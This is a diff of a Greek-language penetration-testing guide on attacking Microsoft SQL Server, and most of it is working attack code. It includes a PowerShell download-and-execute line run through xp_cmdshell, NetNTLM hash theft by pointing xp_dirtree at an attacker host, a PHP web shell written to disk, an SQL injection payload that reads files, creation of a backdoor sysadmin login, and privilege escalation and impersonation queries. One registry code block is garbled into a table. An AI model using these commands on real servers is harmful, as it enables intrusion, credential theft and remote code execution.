* **Βάση δεδομένων tempdb**: Λειτουργεί ως προσωρινή περιοχή αποθήκευσης για προσωρινά αντικείμενα ή ενδιάμεσα σύνολα αποτελεσμάτων.
|
||||||
|
|
||||||
|
|
||||||
## Απαρίθμηση
|
## Απαρίθμηση
|
||||||
|
|
||||||
### Αυτόματη Απαρίθμηση
|
### Αυτόματη Απαρίθμηση
|
||||||
|
|
||||||
Αν δεν γνωρίζετε τίποτα για την υπηρεσία:
|
Αν δεν γνωρίζετε τίποτα για την υπηρεσία:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
||||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Αν **δεν έχετε διαπιστευτήρια**, μπορείτε να προσπαθήσετε να τα μαντέψετε. Μπορείτε να χρησιμοποιήσετε το nmap ή το metasploit. Να είστε προσεκτικοί, μπορείτε να **φράξετε λογαριασμούς** αν αποτύχετε να συνδεθείτε αρκετές φορές χρησιμοποιώντας ένα υπάρχον όνομα χρήστη.
|
Αν **δεν έχετε διαπιστευτήρια**, μπορείτε να προσπαθήσετε να τα μαντέψετε. Μπορείτε να χρησιμοποιήσετε το nmap ή το metasploit. Να είστε προσεκτικοί, μπορείτε να **φράξετε λογαριασμούς** αν αποτύχετε να συνδεθείτε αρκετές φορές χρησιμοποιώντας ένα υπάρχον όνομα χρήστη.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### Metasploit (χρειάζεστε διαπιστευτήρια)
|
#### Metasploit (χρειάζεστε διαπιστευτήρια)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Set USERNAME, RHOSTS and PASSWORD
|
#Set USERNAME, RHOSTS and PASSWORD
|
||||||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||||||
|
@ -86,11 +90,13 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
||||||
#Add new admin user from meterpreter session
|
#Add new admin user from meterpreter session
|
||||||
msf> use windows/manage/mssql_local_auth_bypass
|
msf> use windows/manage/mssql_local_auth_bypass
|
||||||
```
|
```
|
||||||
|
|
||||||
### [**Χαμηλής ισχύος επίθεση**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
### [**Χαμηλής ισχύος επίθεση**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||||
|
|
||||||
### Χειροκίνητη Απαρίθμηση
|
### Χειροκίνητη Απαρίθμηση
|
||||||
|
|
||||||
#### Σύνδεση
|
#### Σύνδεση
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Using Impacket mssqlclient.py
|
# Using Impacket mssqlclient.py
|
||||||
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
||||||
|
@ -105,7 +111,9 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
||||||
1> select 1;
|
1> select 1;
|
||||||
2> go
|
2> go
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Συνηθισμένη Απαρίθμηση
|
#### Συνηθισμένη Απαρίθμηση
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
# Get version
|
# Get version
|
||||||
select @@version;
|
select @@version;
|
||||||
|
@ -127,11 +135,13 @@ select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create
|
||||||
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
|
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
|
||||||
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
|
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Λήψη Χρήστη
|
#### Λήψη Χρήστη
|
||||||
|
|
||||||
{% content-ref url="types-of-mssql-users.md" %}
|
{% content-ref url="types-of-mssql-users.md" %}
|
||||||
[types-of-mssql-users.md](types-of-mssql-users.md)
|
[types-of-mssql-users.md](types-of-mssql-users.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
# Get all the users and roles
|
# Get all the users and roles
|
||||||
select * from sys.database_principals;
|
select * from sys.database_principals;
|
||||||
|
@ -151,18 +161,22 @@ order by name;
|
||||||
EXEC sp_helpuser
|
EXEC sp_helpuser
|
||||||
SELECT * FROM sysusers
|
SELECT * FROM sysusers
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Λήψη Δικαιωμάτων
|
#### Λήψη Δικαιωμάτων
|
||||||
|
|
||||||
1. **Δυνατότητα:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε:
|
1. **Δυνατότητα:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε:
|
||||||
- **Διακομιστής** – Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδρομές, σημεία άμεσης πρόσβασης, ομάδες διαθεσιμότητας και ρόλους διακομιστή.
|
|
||||||
- **Βάση Δεδομένων** – Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογής, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες.
|
* **Διακομιστής** – Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδρομές, σημεία άμεσης πρόσβασης, ομάδες διαθεσιμότητας και ρόλους διακομιστή.
|
||||||
- **Σχήμα** – Περιλαμβάνει πίνακες, προβολές, διαδικασίες, λειτουργίες, συνώνυμα, κλπ.
|
* **Βάση Δεδομένων** – Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογής, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες.
|
||||||
|
* **Σχήμα** – Περιλαμβάνει πίνακες, προβολές, διαδικασίες, λειτουργίες, συνώνυμα, κλπ.
|
||||||
|
|
||||||
2. **Δικαίωμα:** Συνδέεται με τις δυνατότητες ασφαλείας του SQL Server, όπως ALTER, CONTROL και CREATE που μπορούν να χορηγηθούν σε έναν αρχέτυπο. Η διαχείριση των δικαιωμάτων πραγματοποιείται σε δύο επίπεδα:
|
2. **Δικαίωμα:** Συνδέεται με τις δυνατότητες ασφαλείας του SQL Server, όπως ALTER, CONTROL και CREATE που μπορούν να χορηγηθούν σε έναν αρχέτυπο. Η διαχείριση των δικαιωμάτων πραγματοποιείται σε δύο επίπεδα:
|
||||||
- Στο **Επίπεδο Διακομιστή** χρησιμοποιώντας συνδρομές
|
|
||||||
- Στο **Επίπεδο Βάσης Δεδομένων** χρησιμοποιώντας χρήστες
|
* Στο **Επίπεδο Διακομιστή** χρησιμοποιώντας συνδρομές
|
||||||
|
* Στο **Επίπεδο Βάσης Δεδομένων** χρησιμοποιώντας χρήστες
|
||||||
|
|
||||||
3. **Αρχέτυπο:** Αυτός ο όρος αναφέρεται στο οντότητα που έχει χορηγηθεί άδεια πρόσβασης σε ένα δυνατό. Τα αρχέτυπα περιλαμβάνουν κυρίως συνδρομές και χρήστες βάσης δεδομένων. Ο έλεγχος της πρόσβασης στις δυνατότητες γίνεται μέσω της χορήγησης ή απόρριψης δικαιωμάτων ή με την περιλαμβανομένη των συνδρομών και των χρηστών σε ρόλους εξοπλισμένους με δικαιώματα πρόσβασης.
|
3. **Αρχέτυπο:** Αυτός ο όρος αναφέρεται στο οντότητα που έχει χορηγηθεί άδεια πρόσβασης σε ένα δυνατό. Τα αρχέτυπα περιλαμβάνουν κυρίως συνδρομές και χρήστες βάσης δεδομένων. Ο έλεγχος της πρόσβασης στις δυνατότητες γίνεται μέσω της χορήγησης ή απόρριψης δικαιωμάτων ή με την περιλαμβανομένη των συνδρομών και των χρηστών σε ρόλους εξοπλισμένους με δικαιώματα πρόσβασης.
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
# Show all different securables names
|
# Show all different securables names
|
||||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||||
|
@ -182,17 +196,20 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
|
||||||
Use master
|
Use master
|
||||||
EXEC sp_helprotect 'xp_cmdshell'
|
EXEC sp_helprotect 'xp_cmdshell'
|
||||||
```
|
```
|
||||||
|
|
||||||
## Κόλπα
|
## Κόλπα
|
||||||
|
|
||||||
### Εκτέλεση Εντολών Λειτουργικού Συστήματος
|
### Εκτέλεση Εντολών Λειτουργικού Συστήματος
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Σημείωση ότι για να είναι δυνατή η εκτέλεση εντολών, είναι απαραίτητο όχι μόνο να έχετε το **`xp_cmdshell`** **ενεργοποιημένο**, αλλά επίσης να έχετε τη **άδεια ΕΚΤΕΛΕΣΗΣ στην αποθηκευμένη διαδικασία `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει το **`xp_cmdshell`** με:
|
Σημείωση ότι για να είναι δυνατή η εκτέλεση εντολών, είναι απαραίτητο όχι μόνο να έχετε το **`xp_cmdshell`** **ενεργοποιημένο**, αλλά επίσης να έχετε τη **άδεια ΕΚΤΕΛΕΣΗΣ στην αποθηκευμένη διαδικασία `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει το **`xp_cmdshell`** με:
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
Use master
|
Use master
|
||||||
EXEC sp_helprotect 'xp_cmdshell'
|
EXEC sp_helprotect 'xp_cmdshell'
|
||||||
```
|
```
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Username + Password + CMD command
|
# Username + Password + CMD command
|
||||||
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
|
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
|
||||||
|
@ -220,9 +237,11 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
||||||
# Bypass blackisted "EXEC xp_cmdshell"
|
# Bypass blackisted "EXEC xp_cmdshell"
|
||||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||||
```
|
```
|
||||||
|
|
||||||
### Κλέψτε το hash του NetNTLM / Επίθεση Relay
|
### Κλέψτε το hash του NetNTLM / Επίθεση Relay
|
||||||
|
|
||||||
Πρέπει να ξεκινήσετε ένα **διακομιστή SMB** για να αιχμαλωτίσετε το hash που χρησιμοποιείται στην ταυτοποίηση (`impacket-smbserver` ή `responder` για παράδειγμα).
|
Πρέπει να ξεκινήσετε ένα **διακομιστή SMB** για να αιχμαλωτίσετε το hash που χρησιμοποιείται στην ταυτοποίηση (`impacket-smbserver` ή `responder` για παράδειγμα).
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||||
|
@ -234,8 +253,10 @@ sudo responder -I tun0
|
||||||
sudo impacket-smbserver share ./ -smb2support
|
sudo impacket-smbserver share ./ -smb2support
|
||||||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Μπορείτε να ελέγξετε αν όποιος (εκτός από τους συστημικούς διαχειριστές) έχει δικαιώματα να εκτελέσει αυτές τις λειτουργίες MSSQL με:
|
Μπορείτε να ελέγξετε αν όποιος (εκτός από τους συστημικούς διαχειριστές) έχει δικαιώματα να εκτελέσει αυτές τις λειτουργίες MSSQL με:
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
Use master;
|
Use master;
|
||||||
EXEC sp_helprotect 'xp_dirtree';
|
EXEC sp_helprotect 'xp_dirtree';
|
||||||
|
@ -262,6 +283,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
||||||
### **Εγγραφή Αρχείων**
|
### **Εγγραφή Αρχείων**
|
||||||
|
|
||||||
Για να εγγράψετε αρχεία χρησιμοποιώντας το `MSSQL`, **χρειάζεται να ενεργοποιήσετε** τις [**Διαδικασίες Αυτοματισμού Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), οι οποίες απαιτούν διαχειριστικά προνόμια, και στη συνέχεια να εκτελέσετε ορισμένες αποθηκευμένες διαδικασίες για τη δημιουργία του αρχείου:
|
Για να εγγράψετε αρχεία χρησιμοποιώντας το `MSSQL`, **χρειάζεται να ενεργοποιήσετε** τις [**Διαδικασίες Αυτοματισμού Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), οι οποίες απαιτούν διαχειριστικά προνόμια, και στη συνέχεια να εκτελέσετε ορισμένες αποθηκευμένες διαδικασίες για τη δημιουργία του αρχείου:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Enable Ole Automation Procedures
|
# Enable Ole Automation Procedures
|
||||||
sp_configure 'show advanced options', 1
|
sp_configure 'show advanced options', 1
|
||||||
|
@ -279,21 +301,28 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
|
||||||
EXECUTE sp_OADestroy @FileID
|
EXECUTE sp_OADestroy @FileID
|
||||||
EXECUTE sp_OADestroy @OLE
|
EXECUTE sp_OADestroy @OLE
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Ανάγνωση αρχείου με το** OPENROWSET
|
### **Ανάγνωση αρχείου με το** OPENROWSET
|
||||||
|
|
||||||
Από προεπιλογή, το `MSSQL` επιτρέπει την ανάγνωση αρχείων **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει πρόσβαση ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε το ακόλουθο ερώτημα SQL:
|
Από προεπιλογή, το `MSSQL` επιτρέπει την ανάγνωση αρχείων **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει πρόσβαση ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε το ακόλουθο ερώτημα SQL:
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||||
```
|
```
|
||||||
|
|
||||||
Ωστόσο, η επιλογή **`BULK`** απαιτεί την άδεια **`ADMINISTER BULK OPERATIONS`** ή την άδεια **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
Ωστόσο, η επιλογή **`BULK`** απαιτεί την άδεια **`ADMINISTER BULK OPERATIONS`** ή την άδεια **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
# Check if you have it
|
# Check if you have it
|
||||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Σφάλμα βασισμένο διάνυσμα για SQLi:
|
#### Σφάλμα βασισμένο διάνυσμα για SQLi:
|
||||||
|
|
||||||
```
|
```
|
||||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||||
```
|
```
|
||||||
|
|
||||||
### **RCE/Ανάγνωση αρχείων εκτέλεσης σεναρίων (Python και R)**
|
### **RCE/Ανάγνωση αρχείων εκτέλεσης σεναρίων (Python και R)**
|
||||||
|
|
||||||
Το MSSQL μπορεί να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελεστεί από έναν **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί το **xp\_cmdshell** για να εκτελέσει εντολές.
|
Το MSSQL μπορεί να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελεστεί από έναν **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί το **xp\_cmdshell** για να εκτελέσει εντολές.
|
||||||
|
@ -303,6 +332,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
|
||||||
![](<../../.gitbook/assets/image (185) (1).png>)
|
![](<../../.gitbook/assets/image (185) (1).png>)
|
||||||
|
|
||||||
Παράδειγμα χρήσης προσαρμοσμένου Python για να εκτελέσετε διάφορες ενέργειες:
|
Παράδειγμα χρήσης προσαρμοσμένου Python για να εκτελέσετε διάφορες ενέργειες:
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
# Print the user being used (and execute commands)
|
# Print the user being used (and execute commands)
|
||||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||||
|
@ -316,32 +346,33 @@ print(sys.version)
|
||||||
'
|
'
|
||||||
GO
|
GO
|
||||||
```
|
```
|
||||||
|
|
||||||
### Διαβάστε το Μητρώο
|
### Διαβάστε το Μητρώο
|
||||||
|
|
||||||
Το Microsoft SQL Server παρέχει **πολλές επεκτεινόμενες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
Το Microsoft SQL Server παρέχει **πολλές επεκτεινόμενες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||||
|
|
||||||
| **Κανονικό** | **Ευαισθησία στο Παράδειγμα** |
|
| **Κανονικό** | **Ευαισθησία στο Παράδειγμα** |
|
||||||
| ---------------------------- | -------------------------------------- |
|
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------- |
|
||||||
| sys.xp\_regread | sys.xp\_instance\_regread |
|
| sys.xp\_regread | sys.xp\_instance\_regread |
|
||||||
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
||||||
| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
|
| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
|
||||||
| sys.xp\_regwrite | sys.xp\_instance\_regwrite |
|
| sys.xp\_regwrite | sys.xp\_instance\_regwrite |
|
||||||
| sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue |
|
| sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue |
|
||||||
| sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey |
|
| sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey |
|
||||||
| sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring |
|
| sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring |
|
||||||
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
|
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
|
||||||
```sql
|
| \`\`\`sql | |
|
||||||
# Example read registry
|
| # Example read registry | |
|
||||||
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
|
| EXECUTE master.sys.xp\_regread 'HKEY\_LOCAL\_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory'; | |
|
||||||
# Example write and then read registry
|
| # Example write and then read registry | |
|
||||||
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
|
| EXECUTE master.sys.xp\_instance\_regwrite 'HKEY\_LOCAL\_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG\_SZ', 'Now you see me!'; | |
|
||||||
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
|
| EXECUTE master.sys.xp\_instance\_regread 'HKEY\_LOCAL\_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue'; | |
|
||||||
# Example to check who can use these functions
|
| # Example to check who can use these functions | |
|
||||||
Use master;
|
| Use master; | |
|
||||||
EXEC sp_helprotect 'xp_regread';
|
| EXEC sp\_helprotect 'xp\_regread'; | |
|
||||||
EXEC sp_helprotect 'xp_regwrite';
|
| EXEC sp\_helprotect 'xp\_regwrite'; | |
|
||||||
```
|
| \`\`\` | |
|
||||||
Για **περισσότερα παραδείγματα** ανατρέξτε στην [**πρωτότυπη πηγή**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
| Για **περισσότερα παραδείγματα** ανατρέξτε στην [**πρωτότυπη πηγή**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). | |
|
||||||
|
|
||||||
### RCE με MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
### RCE με MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||||
|
|
||||||
|
@ -353,12 +384,12 @@ EXEC sp_helprotect 'xp_regwrite';
|
||||||
|
|
||||||
Υπάρχουν και άλλες μεθόδοι για να εκτελέσετε εντολές, όπως η προσθήκη [επεκτεινόμενων αποθηκευμένων διαδικασιών](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), και [εξωτερικά scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
Υπάρχουν και άλλες μεθόδοι για να εκτελέσετε εντολές, όπως η προσθήκη [επεκτεινόμενων αποθηκευμένων διαδικασιών](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), και [εξωτερικά scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||||
|
|
||||||
|
|
||||||
## Ανόδος Προνομίων στο MSSQL
|
## Ανόδος Προνομίων στο MSSQL
|
||||||
|
|
||||||
### Από db\_owner σε sysadmin
|
### Από db\_owner σε sysadmin
|
||||||
|
|
||||||
Αν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν διαχειριστή** χρήστη (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, ο χρήστης αυτός μπορεί να εκμεταλλευτεί αυτά τα προνόμια για **ανόδο προνομίων** επειδή **αποθηκευμένες διαδικασίες** που δημιουργούνται εκεί μπορούν να **εκτελεστούν** ως ο ιδιοκτήτης (**διαχειριστής**).
|
Αν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν διαχειριστή** χρήστη (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, ο χρήστης αυτός μπορεί να εκμεταλλευτεί αυτά τα προνόμια για **ανόδο προνομίων** επειδή **αποθηκευμένες διαδικασίες** που δημιουργούνται εκεί μπορούν να **εκτελεστούν** ως ο ιδιοκτήτης (**διαχειριστής**).
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
# Get owners of databases
|
# Get owners of databases
|
||||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||||
|
@ -392,19 +423,25 @@ EXEC sp_elevate_me
|
||||||
--3. Verify your user is a sysadmin
|
--3. Verify your user is a sysadmin
|
||||||
SELECT is_srvrolemember('sysadmin')
|
SELECT is_srvrolemember('sysadmin')
|
||||||
```
|
```
|
||||||
|
|
||||||
Μπορείτε να χρησιμοποιήσετε ένα **module του metasploit**:
|
Μπορείτε να χρησιμοποιήσετε ένα **module του metasploit**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||||
```
|
```
|
||||||
|
|
||||||
Ή ένα **PS** script:
|
Ή ένα **PS** script:
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||||
```
|
```
|
||||||
|
|
||||||
### Προσωποποίηση άλλων χρηστών
|
### Προσωποποίηση άλλων χρηστών
|
||||||
|
|
||||||
Το SQL Server έχει ένα ειδικό δικαίωμα, με το όνομα **`IMPERSONATE`**, που **επιτρέπει στον εκτελούντα χρήστη να αναλάβει τα δικαιώματα ενός άλλου χρήστη** ή σύνδεσης μέχρι να επαναφερθεί ο πλαίσιο ή να λήξει η συνεδρία.
|
Το SQL Server έχει ένα ειδικό δικαίωμα, με το όνομα **`IMPERSONATE`**, που **επιτρέπει στον εκτελούντα χρήστη να αναλάβει τα δικαιώματα ενός άλλου χρήστη** ή σύνδεσης μέχρι να επαναφερθεί ο πλαίσιο ή να λήξει η συνεδρία.
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
# Find users you can impersonate
|
# Find users you can impersonate
|
||||||
SELECT distinct b.name
|
SELECT distinct b.name
|
||||||
|
@ -419,11 +456,13 @@ EXECUTE AS LOGIN = 'sa'
|
||||||
SELECT SYSTEM_USER
|
SELECT SYSTEM_USER
|
||||||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Αν μπορείτε να προσωποποιήσετε έναν χρήστη, ακόμα κι αν δεν είναι sysadmin, πρέπει να ελέγξετε αν ο χρήστης έχει πρόσβαση σε άλλες βάσεις δεδομένων ή συνδεδεμένους διακομιστές.
|
